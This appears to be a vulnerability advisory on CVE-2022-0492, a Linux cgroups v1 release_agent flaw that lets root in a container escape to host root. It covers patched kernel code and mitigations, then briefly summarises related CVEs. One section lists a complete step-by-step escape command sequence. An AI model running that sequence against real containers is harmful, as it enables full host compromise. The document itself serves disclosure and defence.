Jun 8, 2026·7 min read·154 visits
A privilege validation omission in the Linux kernel's cgroups v1 release_agent allows containerized processes with root access to bypass namespace isolation and execute arbitrary commands on the host as host root using user namespaces.
CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.
Control Groups (cgroups) are a core Linux kernel feature designed to allocate, meter, and isolate system resources (CPU, memory, disk I/O, network) for groups of processes. Under cgroups v1, each controller hierarchy supports a notification mechanism called the release agent. When a cgroup subsystem has notifications enabled via the notify_on_release parameter, the kernel monitors the cgroup task list. As soon as the final process inside that cgroup terminates or is moved, the kernel executes the command path specified in the release_agent file.
The execution of the release agent is handled in kernel space by call_usermodehelper. Because call_usermodehelper is triggered by the host kernel, the configured binary runs outside the container's namespaces, utilizing the host's namespaces and retaining a full set of global administrative privileges (host root). The attack surface is exposed directly through the write handler of the release_agent parameter, which lacks appropriate capability boundaries.
This vulnerability is classified under CWE-862 (Missing Authorization) and CWE-287 (Improper Authentication). In environments lacking robust container runtime hardening (such as non-default Kubernetes pods or custom Docker runtimes), an attacker who achieves local root access can exploit this design oversight to cross the container boundary. The following diagram illustrates the workflow of the escape execution sequence:
The root cause of CVE-2022-0492 lies within the file-write handler of the release_agent configuration parameter. Specifically, the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c did not restrict writes to processes operating within the initial user namespace (init_user_ns) or verify that the write operation was performed by an entity with global CAP_SYS_ADMIN privileges.
By default, containerized processes are prevented from mounting filesystems or writing to raw cgroup parameters because they do not possess global capabilities. However, the Linux kernel supports unprivileged user namespaces via the unshare system call. When a root process inside a container executes unshare with the CLONE_NEWUSER and CLONE_NEWCGROUP flags, the kernel creates a nested namespace environment where the calling process is assigned local CAP_SYS_ADMIN privileges.
Within this nested namespace, the process is authorized to perform mounts, including mounting a new instance of a cgroups v1 filesystem (e.g., the memory or rdma controller). Because the process is recognized as root within its local user namespace, the filesystem permission check on the newly mounted cgroup parameters passes. The absence of a global capability check in cgroup_release_agent_write allowed this local namespace-level authorization to satisfy the write validation, allowing a namespaced process to register a malicious binary path to be executed by the host kernel.
To understand the implementation flaw, we examine the vulnerable code path inside kernel/cgroup/cgroup-v1.c. Prior to the patch, the cgroup_release_agent_write function accepted user-supplied input and wrote it directly to the root release_agent_path without conducting namespace verification.
Below is the comparison between the vulnerable and patched implementations of the write and parameter parsing functions:
/* Vulnerable code inside cgroup_release_agent_write in cgroup-v1.c */
static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of,
char *buf, size_t nbytes, loff_t off)
{
// ... omitted lock setup ...
BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);
/* VULNERABILITY: No verification of the calling process's namespace */
/* The kernel directly proceeds to lock the cgroup and write the path */
cgrp = cgroup_kn_lock_live(of->kn, false);
// ... writes buf to release_agent_path ...
}The official patch introduced in commit 24f6008564183aa120d07c03d9289519c2fe02af resolves the issue by enforcing namespace and administrative capability verification at both write-time and mount-time. The code below contains inline annotations explaining the validation additions:
/* Patched code inside cgroup_release_agent_write in cgroup-v1.c */
static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of,
char *buf, size_t nbytes, loff_t off)
{
struct cgroup *cgrp;
BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);
/*
* FIX: Release agent gets called with all capabilities,
* require capabilities inside the initial user namespace to set release agent.
*/
if ((of->file->f_cred->user_ns != &init_user_ns) ||
!capable(CAP_SYS_ADMIN))
return -EPERM;
cgrp = cgroup_kn_lock_live(of->kn, false);
// ...
}The patch also hardens the mount parameter parser to ensure malicious release agents cannot be configured during the mounting phase:
/* Patched code inside cgroup1_parse_param in cgroup-v1.c */
int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
// ...
case Opt_release_agent:
/* Specifying two release agents is forbidden */
if (ctx->release_agent)
return invalfc(fc, "release_agent respecified");
/*
* FIX: Restrict setting the parameter during mount if the mounting
* context is not within the global root user namespace.
*/
if ((fc->user_ns != &init_user_ns) || !capable(CAP_SYS_ADMIN))
return invalfc(fc, "Setting release_agent not allowed");
ctx->release_agent = param->string;
param->string = NULL;
break;
// ...
}The fix is complete and robust because it uses capable(CAP_SYS_ADMIN) instead of ns_capable(). The capable() function verifies capabilities in the global init_user_ns rather than the localized namespace, closing the loophole where unshare granted local privileges.
Exploiting CVE-2022-0492 requires three specific environment criteria: root access (UID 0) within the container, the ability to trigger the unshare system call, and the absence of restrictive Linux Security Modules (AppArmor or SELinux) blocking cgroup mounts.
First, the attacker executes unshare to isolate user and cgroup namespaces. This grants local CAP_SYS_ADMIN privileges:
unshare -UrmC --propagation=unchanged bashSecond, because the attacker has local CAP_SYS_ADMIN in the nested namespace, they mount a cgroups v1 subsystem, such as memory:
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroupThird, because the host kernel runs the release agent, the attacker must locate the container's absolute path from the perspective of the host filesystem. This is typically retrieved by extracting the upperdir of the container's overlay mount from /etc/mtab:
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)Fourth, the attacker writes the execution payload to the container filesystem and makes it executable:
echo '#!/bin/sh' > /cmd
echo "id > $host_path/result" >> /cmd
chmod 777 /cmdFifth, the attacker writes the host-resolved path of the payload into the release_agent file of the mounted cgroup:
echo "$host_path/cmd" > /tmp/testcgroup/release_agentFinally, the attacker creates a child cgroup, enables the notification trigger, and registers a short-lived process PID. When the process terminates, the task list becomes empty, prompting the host kernel to execute /cmd on the host as root:
mkdir /tmp/testcgroup/x
echo 1 > /tmp/testcgroup/x/notify_on_release
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"Successful exploitation of CVE-2022-0492 leads to a complete compromise of host integrity, confidentiality, and availability. Since the malicious release agent payload runs outside the container context and with host root privileges, the attacker can execute arbitrary commands directly on the bare-metal or virtualized host machine.
In container orchestration platforms like Kubernetes, this breakout allows lateral movement. An attacker escaping a single pod can access the host's Kubelet credentials, retrieve secrets, read sensitive volumes belonging to other pods, and execute processes across the entire node.
The vulnerability is listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, emphasizing its prevalence in active attack campaigns. It possesses a CVSS v3.1 base score of 7.8 (High) and a high EPSS score, reflecting the ease of weaponization and the widespread availability of public proof-of-concept exploits.
The primary remediation for CVE-2022-0492 is applying kernel updates. System administrators must upgrade their Linux kernel to version 5.17 or apply the backported security patches released for stable LTS branches.
For systems where immediate kernel patching is not viable, several hardening mitigations prevent exploitation:
unshare command to gain namespace capabilities:sysctl -w kernel.unprivileged_userns_clone=0Deploy Seccomp Filters: Ensure containers run with a standard Seccomp profile. The default Docker and Containerd Seccomp profiles block the unshare system call, making user namespace isolation impossible to perform.
Enforce Linux Security Modules (LSM): Enable AppArmor or SELinux. Default container profiles restrict write access to /sys/fs/cgroup and block mounting raw cgroup filesystems inside containers.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Linux Kernel Linux | >= 2.6.24, < 5.17 | 5.17-rc3 / 24f6008564183aa120d07c03d9289519c2fe02af |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-862 |
| Attack Vector | Local |
| CVSS v3.1 Score | 7.8 |
| EPSS Score | 0.28124 (Percentile: 96.58%) |
| Exploit Status | Active / Weaponized |
| CISA KEV Status | Listed (Added 2026-06-02) |
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
CVE-2026-120792 is a high-severity local information disclosure vulnerability in the Microsoft .NET Aspire CLI (Aspire.Cli) affecting versions 13.5.4 prior to 13.6.5. The flaw stems from the insertion of sensitive information into a shared temporary log file (CWE-532) combined with insecure temporary file creation (CWE-377) within the DeprecatedMcpCommandScanner component. During agent configuration scanning, the CLI unconditionally appends internal workspace paths and the first 200 characters of Model Context Protocol (MCP) agent configuration files to a statically named file in the system temporary directory. On multi-user systems, unprivileged local users can read this file to harvest API keys, authentication tokens, and internal service endpoints.
CVE-2026-114159 is a heap-based buffer overflow vulnerability (CWE-122) in Microsoft.DiaSymReader.Native affecting Microsoft Visual Studio and the .NET Runtime on Windows. An integer truncation error during the parsing of oversized document names in Portable PDB symbol files causes an undersized heap allocation, leading to an out-of-bounds memory write and remote code execution.
CVE-2026-114158 is a high-severity remote code execution vulnerability affecting Microsoft Visual Studio 2026 and multiple supported servicing branches of Microsoft .NET (.NET 8.0, 9.0, 10.0, and 11.0) on Windows. The flaw resides in the native symbol reader library, Microsoft.DiaSymReader.Native, and is triggered when parsing Portable Program Database (PDB) metadata containing malformed EmbeddedSource custom debug information records. By supplying a parent Record Identifier (RID) of zero or an out-of-bounds value, an attacker causes an integer underflow during 1-based to 0-based index conversion, leading to a heap-based buffer overflow and arbitrary code execution within the context of the host developer tool or runtime.
CVE-2026-114151 is a high-severity remote code execution vulnerability affecting Microsoft Visual Studio 2026 and multiple supported versions of the Microsoft .NET runtime on Windows. The flaw resides in the native Debug Information Access (DIA) symbol reader component, Microsoft.DiaSymReader.Native. When parsing Program Database (.pdb) files, the component fails to validate the length of serialized numeric records (specifically LF_DECIMAL structures) before unpacking them into a fixed-size stack buffer. An attacker who convinces a user or automated diagnostic process to load a crafted .pdb file can trigger a stack-based buffer overflow, resulting in arbitrary code execution within the context of the host process.
CVE-2026-105544 is a high-severity local elevation of privilege vulnerability in Microsoft .NET and Microsoft.TestPlatform.CLI. Improper access control on local inter-process communication mechanisms and execution brokers allows an authorized local attacker to cross security boundaries and execute arbitrary code in the context of a higher-privileged user running a test execution cycle.
CVE-2026-114152 is a high-severity remote code execution vulnerability affecting Microsoft Visual Studio 2026 and multiple servicing branches of the Microsoft .NET runtime (.NET 8.0, 9.0, 10.0, and 11.0) on Windows platforms. The vulnerability exists within the native symbol reader library, Microsoft.DiaSymReader.Native, specifically inside the DiaObjectFile::ApplyFixup method during the processing of Common Object File Format (COFF) relocation records. By supplying a malformed object file or Program Database (PDB) symbol file containing out-of-bounds relocation offsets or invalid symbol table indices, an unauthenticated attacker can trigger an untrusted pointer dereference (CWE-822) and a stack-based buffer overflow (CWE-121). Successful exploitation occurs when a victim opens, compiles, or debugs a malicious project or symbol artifact, leading to arbitrary code execution within the security context of the active developer environment or build process.